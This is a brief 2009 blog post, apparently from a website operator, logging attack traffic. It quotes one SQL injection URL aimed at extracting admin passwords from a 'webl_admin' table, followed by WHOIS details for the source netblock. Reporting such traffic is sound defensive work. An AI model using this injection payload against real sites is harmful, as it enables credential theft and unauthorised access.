Thursday, July 16, 2009

More PHP Hacker Traffic

We're seeing some hacker traffic from this network attempting to access this url:

/profile.php?name='+UNION+SELECT+1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+FROM+webl_admin%23

CustName: Alwatan Newspaper
Address: Unknown
City: Muscat
StateProv: Oman
PostalCode:
Country: OM
RegDate: 2008-07-10
Updated: 2008-07-10

NetRange: 216.7.173.16 - 216.7.173.31
CIDR: 216.7.173.16/28
NetName: D393-ENG01-216-7-173-16-28
NetHandle: NET-216-7-173-16-1
Parent: NET-216-7-160-0-1
NetType: Reassigned
Comment:
RegDate: 2008-07-10
Updated: 2008-07-10

OrgAbuseHandle: DAM96-ARIN
OrgAbuseName: Data393 Abuse Manager
OrgAbusePhone: +1-303-268-1500
OrgAbuseEmail: abuse@data393.net

OrgNOCHandle: DNOC2-ARIN
OrgNOCName: Data393 Network Operations Center
OrgNOCPhone: +1-303-268-1500
OrgNOCEmail: noc@data393.net

OrgTechHandle: IPADM77-ARIN
OrgTechName: IP Administration
OrgTechPhone: +1-303-268-1500
OrgTechEmail: ip-addr@data393.net